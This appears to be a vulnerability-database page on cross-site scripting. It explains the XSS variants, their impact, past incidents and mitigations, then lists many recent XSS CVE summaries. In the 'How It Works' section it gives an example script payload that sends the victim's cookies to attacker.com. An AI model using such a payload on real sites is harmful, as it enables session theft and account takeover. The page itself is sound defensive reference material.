Skip to main content

Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40734)

EPSS 0% CVSS 8.7
HIGH This Week

Osmedeus is a Workflow Engine for Offensive Security. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 8.4
HIGH POC This Week

Stored Cross-Site Scripting (XSS) vulnerability discovered in the Properties Component of JATOS v3.9.3. Rated high severity (CVSS 8.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Privilege Escalation Jatos
NVD
EPSS 1% CVSS 8.4
HIGH POC This Week

Stored Cross-Site Scripting (XSS) vulnerability discovered in JATOS v3.9.3. Rated high severity (CVSS 8.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jatos
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS CSRF Suitecrm +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

OctoPrint provides a web interface for controlling consumer 3D printers. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Octoprint
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

WebLaudos v20.8 (118) was discovered to contain a cross-site scripting (XSS) vulnerability via the login page. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in romadebrian WEB-Sekolah 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Web Sekolah +1
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability classified as problematic has been found in romadebrian WEB-Sekolah 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Web Sekolah +1
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Open Map Widget'. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Element Pack +2
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘tooltip'. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Element Pack +2
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The XT Floating Cart for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 2.8.2 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wordpress Plugin +2
NVD
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

The Photo Gallery by 10Web - Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.8.30 due to. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Photo Gallery +2
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The Seriously Simple Podcasting plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Seriously Simple Podcasting +2
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Basticom Framework plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.5.0 due to insufficient input sanitization and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Framework +1
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Pods WordPress plugin before 3.2.7.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Pods +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Appointment Booking Calendar - Simply Schedule Appointments Booking Plugin WordPress plugin before 1.6.7.55 does not sanitise and escape some of its Notification settings, which could allow high. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Simply Schedule Appointments +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Appointment Booking Calendar - Simply Schedule Appointments Booking Plugin WordPress plugin before 1.6.7.55 does not sanitise and escape some of its Appointment Type settings, which could allow. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Simply Schedule Appointments +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Table of Contents Plus WordPress plugin through 2408 does not sanitise and escape some of its settings, which could allow high privilege users such as editors to perform Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Table Of Contents Plus +1
NVD WPScan
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in PHPGurukul Hospital Management System 4.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Hospital Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Shortcodes Blocks Creator Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'scu' shortcode in versions up to, and including, 2.1.3 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in PHPGurukul Hospital Management System 4.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Hospital Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 6.0
MEDIUM This Month

cobalt is a media downloader that doesn't piss you off. Rated medium severity (CVSS 6.0), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 1% CVSS 5.1
MEDIUM This Month

WebFeed is a lightweight web feed reader extension for Firefox/Chrome. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Google CSRF +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Combodo iTop is a simple, web based IT Service Management tool. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Itop Combodo
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

gaizhenbiao/chuanhuchatgpt project, version <=20240802 is vulnerable to stored Cross-Site Scripting (XSS) in WebSocket session transmission. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Chuanhuchatgpt Gaizhenbiao
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

localai <=2.20.1 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Localai Mudler
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

A Stored Cross-Site Scripting (XSS) Vulnerability in Chamilo LMS 1.11.26 allows a remote attacker to execute arbitrary JavaScript in a web browser by including a malicious payload in the 'content'. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Chamilo Lms +1
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic was found in PHPGurukul Online Shopping Portal 2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Shopping Portal +1
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in addcategory.php in projectworld's Travel Management System v1.0 allows remote attacker to inject arbitrary code via the t2 parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS RCE +2
NVD GitHub
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Michael Gangolf Accordion title for Elementor accordion-title-for-elementor allows Stored XSS.2.1. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin +3
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Michael Custom post type templates for Elementor custom-post-type-templates-for-elementor allows. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Custom Post Type Templates For Elementor +3
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HasThemes HT Builder - WordPress Theme Builder for Elementor ht-builder allows Stored XSS.3.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Ht Builder +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodeRevolution WP Pocket URLs wp-pocket-urls allows Stored XSS.0.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wp Pocket Urls +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CrestaProject Cresta Addons for Elementor cresta-addons-for-elementor allows Stored XSS.0.9. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Cresta Addons For Elementor +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Marcel Pol Elo Rating Shortcode elo-rating-shortcode allows Stored XSS.0.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Elo Rating Shortcode +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ajay Knowledge Base knowledgebase allows Stored XSS.2.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Knowledge Base +2
NVD
EPSS 0% CVSS 6.9
MEDIUM This Month

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Bna Informatics PosPratik allows XSS Through HTTP Query Strings.2.1. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Pospratik
NVD VulDB
EPSS 1% CVSS 6.9
MEDIUM POC PATCH This Month

A vulnerability was found in Umbraco CMS up to 10.7.7/12.3.6/13.5.2/14.3.1/15.1.1. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Umbraco Cms Umbraco
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in PHPGurukul Online Shopping Portal 2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Shopping Portal +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic was found in PHPGurukul Online Shopping Portal 2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Shopping Portal +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic has been found in PHPGurukul Online Shopping Portal 2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Shopping Portal +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in PHPGurukul Online Shopping Portal 2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Shopping Portal +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in PHPGurukul Online Shopping Portal 2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Shopping Portal +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic was found in PHPGurukul Online Shopping Portal 2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Shopping Portal +1
NVD VulDB GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic has been found in PHPGurukul Online Shopping Portal 2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Shopping Portal +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in PHPGurukul Online Shopping Portal 2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Shopping Portal +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in PHPGurukul Online Shopping Portal 2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Shopping Portal +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in PHPGurukul Online Shopping Portal 2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Shopping Portal +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in PHPGurukul Car Rental Portal 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Car Rental Portal +1
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The BBP Core - Expand bbPress powered forums with useful features plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wordpress Plugin +2
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Age Gate Widget. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Element Pack +2
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The ReCaptcha Integration for WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wordpress Plugin +2
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Custom Gallery. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Element Pack +2
NVD
EPSS 0% CVSS 8.8
HIGH This Week

Zusam is a free and open-source way to self-host private forums. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross Site Scripting vulnerability in Camtrace v.9.16.2.1 allows a remote attacker to execute arbitrary code via the login.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS RCE
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

IBM CICS TX Standard is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS IBM Cics Tx
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Cross Site Scripting vulnerability in FiberHome HG6544C RP2743 allows an attacker to execute arbitrary code via the SSID field in the WIFI Clients List not being sanitized. Rated medium severity (CVSS 4.8), this vulnerability is low attack complexity. No vendor patch available.

XSS RCE
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

An issue in Ladybird Web Solution Faveo Helpdesk & Servicedesk (On-Premise and Cloud) 9.2.0 allows a remote attacker to execute arbitrary code via the Subject and Identifier fields. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Faveo Helpdesk +1
NVD GitHub
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PluginOps MailChimp Subscribe Forms allows Stored XSS.0.9.9. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.3
HIGH This Week

Missing Authorization vulnerability in Upqode Plum: Spin Wheel & Email Pop-up allows Accessing Functionality Not Properly Constrained by ACLs, Stored XSS.0. Rated high severity (CVSS 8.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Authentication Bypass
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Missing Authorization vulnerability in Dropshipping Guru Ali2Woo Lite Exploiting Incorrectly Configured Access Control Security Levels, Stored XSS.3.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Authentication Bypass
NVD
EPSS 0% CVSS 4.6
MEDIUM POC PATCH This Month

Cross Site Scripting vulnerability in Chamilo LMS v.1.11.26 allows a remote attacker to escalate privileges via a crafted script to the filename parameter of the home.php component. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable. Public exploit code available.

PHP XSS Chamilo Lms +1
NVD GitHub
EPSS 1% CVSS 7.1
HIGH POC PATCH This Week

Cross Site Scripting vulnerability in Chamilo LMS v.1.11.26 allows a remote attacker to escalate privileges via a crafted script to the filename parameter of the new_ticket.php component. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable. Public exploit code available.

PHP XSS Chamilo Lms +1
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Otter Blocks - Gutenberg Blocks, Page Builder for Gutenberg Editor & FSE plugin for WordPress is vulnerable to Stored Cross-Site Scripting via REST API SVG File uploads in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

IDExpert from CHANGING Information Technology does not properly validate a parameter for a specific functionality, allowing unauthenticated remote attackers to inject JavsScript code and perform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Group Chat & Video Chat by AtomChat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's atomchat shortcode in all versions up to, and including, 1.1.5 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Gutenberg Blocks with AI by Kadence WP - Page Builder Features plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Icon widget in all versions up to, and including,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Gutenberg Blocks With Ai +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The SIP Reviews Shortcode for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'no_of_reviews' attribute in the woocommerce_reviews shortcode in all versions up. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS SQLi +2
NVD
EPSS 0% CVSS 9.9
CRITICAL Act Now

Glossarizer through 1.5.2 improperly tries to convert text into HTML. Rated critical severity (CVSS 9.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 1% CVSS 6.4
MEDIUM This Month

Cross Site Scripting vulnerability in online diagnostic lab management system using php v.1.0 allows a remote attacker to execute arbitrary code via the Test Name parameter on the. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS RCE
NVD GitHub
EPSS 1% CVSS 9.8
CRITICAL PATCH Act Now

DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Improperly Controlled Modification of Object Prototype Attributes (Prototype Pollution) vulnerability could allow attackers to modify object prototypes to inject properties affecting application logic.

XSS Prototype Pollution Dompurify +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Clickjacking vulnerability in Clibo Manager v1.1.9.12 in the '/public/login' directory, a login panel. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Amauri WPMobile.App wpappninja allows Stored XSS.App: from n/a through <= 11.48. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP Simple Anchors Links plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's wpanchor shortcode in all versions up to, and including, 1.0.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Gift Cards (Gift Vouchers and Packages) (WooCommerce Supported) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 4.4.4. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Easy SVG Upload plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.1 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Easy Svg Upload +1
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability was identified in Consul and Consul Enterprise such that the server response did not explicitly set a Content-Type HTTP header, allowing user-provided inputs to be misinterpreted and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Hashicorp HashiCorp Consul
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross Site Scripting vulnerability in Shenzhen Interconnection Harbor Network Technology Co., Ltd Ofweek Online Exhibition v.1.0.0 allows a remote attacker to execute arbitrary code. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross Site Scripting vulnerability in PHPGurukul Doctor Appointment Management System v.1.0 allows a local attacker to execute arbitrary code via the search parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS RCE Doctor Appointment Management System +1
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A Reflected Cross-Site Scripting (XSS) vulnerability exists in the Sage 1000 v 7.0.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Sage Sage Frp 1000
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Proactive Risk Manager version 9.1.1.0 is affected by multiple Cross-Site Scripting (XSS) vulnerabilities in the add/edit form fields, at the urls starting with the subpaths: /ar/config/configuation/. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

EnGenius EWS356-Fit devices through 1.1.30 allow a remote attacker to conduct stored XSS attacks via the Wi-Fi SSID parameters. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Ews356 Fit Firmware Engeniustech
NVD GitHub
EPSS 0% CVSS 5.2
MEDIUM This Month

Hitron CODA-4582 2AHKM-CODA4589 7.2.4.5.1b8 devices allow a remote attacker within Wi-Fi proximity to conduct stored XSS attacks via the 'Network Name (SSID)' input fields to the. Rated medium severity (CVSS 5.2), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 4.3
MEDIUM This Month

